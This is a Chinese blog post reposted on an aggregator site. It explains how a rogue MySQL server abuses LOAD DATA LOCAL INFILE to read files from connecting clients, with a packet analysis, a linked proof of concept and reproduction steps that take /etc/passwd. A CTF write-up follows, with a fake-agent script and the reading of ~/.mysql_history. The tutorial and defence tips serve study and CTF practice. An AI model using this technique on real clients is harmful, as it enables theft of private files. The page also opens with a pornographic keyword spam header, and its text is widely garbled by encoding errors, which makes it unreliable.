日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

读取txt原理_Mysql客户端任意文件读取学习

發(fā)布時(shí)間:2024/7/23 数据库 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 读取txt原理_Mysql客户端任意文件读取学习 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

前言

最近打了?DDCTF和?國(guó)賽,發(fā)現(xiàn)都考了一個(gè)知識(shí)點(diǎn),也就是?MysqlLocalInfile客戶端文件讀取這個(gè)漏洞,下面來(lái)詳細(xì)的學(xué)習(xí)一個(gè)這個(gè)漏洞。

漏洞形成原因

此漏洞形成的主要原因在于?LOAD DATA INFILE這個(gè)語(yǔ)法上。在官方文檔中的介紹為:

該LOAD DATA語(yǔ)句以非常高的速度將文本文件中的行讀入表中。 LOAD DATA是補(bǔ)充 SELECT ... INTO OUTFILE。請(qǐng)參見[第13.2.10.1節(jié)“SELECT ... INTO語(yǔ)法”(https://dev.mysql.com/doc/refman/8.0/en/select-into.html)]。)要將表中的數(shù)據(jù)寫入文件,請(qǐng)使用 SELECT ... INTO OUTFILE。要將文件讀回表中,請(qǐng)使用 LOAD DATA。兩個(gè)語(yǔ)句的FIELDS和LINES子句的語(yǔ)法 相同。

以下為?LOAD DATA INFILE的兩種用法:

  • 從本地服務(wù)器導(dǎo)入數(shù)據(jù)到規(guī)定的表里

首先我在本地的?/var/lib/mysqld/1.txt中添加內(nèi)容?Youhave a girlfriend,執(zhí)行命令?load data infile"/var/lib/mysql-files/1.txt"intotable users(name),成功添加數(shù)據(jù).

  • 從客戶端導(dǎo)入數(shù)據(jù)到服務(wù)器上規(guī)定的表中

客戶端:Ubuntu18.04 IP

服務(wù)端:Centos7

在客戶端執(zhí)行命令:?mysql-h148.70.151.111-u root-p-D test-e"load data local infile '/etc/passwd' into table user fields terminated by ','";,在服務(wù)端查看是否添加成果數(shù)據(jù)

數(shù)據(jù)成功回顯。而造成漏洞的也是第二點(diǎn)操作,通過客戶端與服務(wù)端的連接來(lái)讀取任意文件。

從數(shù)據(jù)包傳遞層面分析客戶端與服務(wù)端的文件傳輸

分析環(huán)境:Ubuntu18.04

mysql 5.7

本地Mysql輸入命令:?mysql-u root-p-h127.0.0.1

同時(shí)tcpdump抓取數(shù)據(jù)包:?tcpdump-i lo-l port3306-w los.pcap

下面是抓到的數(shù)據(jù)包:

我們來(lái)分析一下客戶端與服務(wù)端的?load datalocal過程

1.服務(wù)器向客戶端發(fā)送?Greeting包,包含服務(wù)器banner信息(協(xié)議線程ID,版本,mysql認(rèn)證類型等)

2.客戶端向服務(wù)端發(fā)送?LoginRequests數(shù)據(jù)包,包含客戶端的banner信息,以及?LoadDataLocal選項(xiàng)和用戶名以及md5加密過的密碼

3.Mysql客戶端發(fā)送請(qǐng)求,探測(cè)目標(biāo)平臺(tái)的指紋信息,以及進(jìn)行初始化查詢(大多數(shù)Mysql客戶端在握手后都至少會(huì)發(fā)送一次請(qǐng)求)這個(gè)請(qǐng)求是一個(gè)很關(guān)鍵的步驟,在下面我們還會(huì)繼續(xù)解釋的。

4.客戶端發(fā)起Request Query

5.服務(wù)端響應(yīng)對(duì)應(yīng)客戶端請(qǐng)求文件名的數(shù)據(jù)包

6.客戶端將所請(qǐng)求文件內(nèi)容發(fā)給服務(wù)端

漏洞利用

產(chǎn)生的漏洞為:在客戶端發(fā)送至少一次查詢后,服務(wù)端返回Response TABULAR數(shù)據(jù)包,告訴客戶端我們想要讀取文件的文件名(實(shí)現(xiàn)任意文件讀取),由于客戶端對(duì)于服務(wù)端的完全信任,我們就讀取到了我們想要的文件。

原理:在Mysql協(xié)議中,客戶端是不會(huì)儲(chǔ)存自身請(qǐng)求的,而是通過服務(wù)端的響應(yīng)來(lái)執(zhí)行操作。

利用:我們可以自己去構(gòu)造一個(gè)惡意的Mysql的服務(wù)器來(lái)實(shí)現(xiàn)讀取客戶端中我們想要的文件,構(gòu)造服務(wù)器最重要的的部分是:在任意時(shí)候都能回復(fù)一個(gè)file-transfer請(qǐng)求,而不是只在客戶端發(fā)送LOAD

DATA LOCAL數(shù)據(jù)包時(shí)才去響應(yīng)回復(fù)file-transfer請(qǐng)求。所以,只需要客戶端在連接服務(wù)端后發(fā)送一個(gè)查詢請(qǐng)求,服務(wù)端立刻回復(fù)一個(gè)?file-transfer,即可讀取到客戶端的本地文件,而常見的 MySQL 客戶端都會(huì)在建立連接后發(fā)送一個(gè)請(qǐng)求用來(lái)判斷服務(wù)端的指紋信息(如?select@@version_commentlimit1),這樣就達(dá)到了我們想要的要求。

所以惡意服務(wù)器與客戶端交互的流程如下:

構(gòu)造File-Transfer數(shù)據(jù)包

在官方文檔中是有構(gòu)造示范的

我們可以通過官方文檔來(lái)具體了解一下這個(gè)數(shù)據(jù)包的結(jié)構(gòu)到底是怎么樣的

通過這張圖,?0c代表著數(shù)據(jù)包的長(zhǎng)度,?000001代表著數(shù)據(jù)包的序列號(hào),從?fb開始,后面的內(nèi)容為返回到客戶端的文件名。

Poc

https://github.com/allyshka/Rogue-MySql-Server

file=('

/etc/passwd',

)

通過更改file括號(hào)中的值可以讀取我們想要讀到的文件。

漏洞復(fù)現(xiàn)

實(shí)驗(yàn)環(huán)境:

攻擊機(jī):Centos7 Mysql5.7

靶機(jī):Ubuntu18.04 Mysql5.7

1.首先先將本機(jī)的mysql服務(wù)關(guān)閉:?service mysqld stop

2.在服務(wù)器上運(yùn)行惡意服務(wù)器腳本:?python rogue_mysql_ server.py

3.靶機(jī)遠(yuǎn)程連接攻擊機(jī)數(shù)據(jù)庫(kù):?mysql-hYour_vps-u root-p-P3306;

4.成功得到靶機(jī)中?/etc/passwd的敏感數(shù)據(jù)

CTF中的應(yīng)用

這次的DDCTF以及國(guó)賽中都出現(xiàn)了Mysql客戶端任意文件讀取的這個(gè)漏洞.

下面對(duì)利用這個(gè)漏洞解答一下DDCTF

首先進(jìn)入頁(yè)面發(fā)現(xiàn)

掃描器正好符合我們的漏洞原理,在掃描的過程中用弱口令進(jìn)行?3306端口的爆破登陸,所以我們可以利用構(gòu)造惡意服務(wù)器來(lái)讀取掃描器中的文件。

先在服務(wù)器上布置?agent.py進(jìn)行掃描,發(fā)現(xiàn)回顯,未掃描出弱口令,如果不布置?agent.py,回顯,不存在?mysql服務(wù) ,修改一下?agent.py源碼,讓其以為我們一直開著?mysql。

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# @Time : 12/1/2019 2:58 PM

# @Author : fz

# @Site :

# @File : agent.py

# @Software: PyCharm

import json

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

from optparse import OptionParser

from subprocess import Popen, PIPE

class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

request_path = self.path

print("\n----- Request Start ----->\n")

print("request_path :", request_path)

print("UA :", self.headers.getheaders('user-agent'))

print("self.headers :", self.headers)

print(")

self.send_response(404)

self.send_header("Set-Cookie", "foo=flag")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def do_POST(self):

request_path = self.path

# print("\n----- Request Start ----->\n")

print("request_path : %s", request_path)

request_headers = self.headers

content_length = request_headers.getheaders('content-length')

length = int(content_length[0]) if content_length else 0

# print("length :", length)

print("request_headers : %s" % request_headers)

print("content : %s" % self.rfile.read(length))

# print("

self.send_response(404)

self.send_header("Set-Cookie", "foo=bar")

self.end_headers()

result = self._func()

return_str = "mysqld"

self.wfile.write(return_str)

# self.wfile.write(json.dumps(result))

def _func(self):

netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)

netstat.wait()

ps_list = netstat.stdout.readlines()

result = []

for item in ps_list[2:]:

tmp = item.split()

Local_Address = tmp[3]

Process_name = tmp[6]

tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}

result.append(tmp_dic)

return result

do_PUT = do_POST

do_DELETE = do_GET

def main():

port = 8123

print('Listening on localhost:%s' % port)

server = HTTPServer(('0.0.0.0', port), RequestHandler)

server.serve_forever()

if __name__ == "__main__":

parser = OptionParser()

parser.usage = (

"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"

"Run:\n\n")

(options, args) = parser.parse_args()

main()

在服務(wù)器上運(yùn)行這個(gè)腳本,再開啟我們的?mysql偽造惡意服務(wù)器,讀取一下?~/.mysql_history

得到?Flag回顯

防御手段

  • 避免使用?local讀取本地文件

  • 使用?--ssl-mode=VERIFY_IDENTITY來(lái)建立可信的連接。

總結(jié)

以上是生活随笔為你收集整理的读取txt原理_Mysql客户端任意文件读取学习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。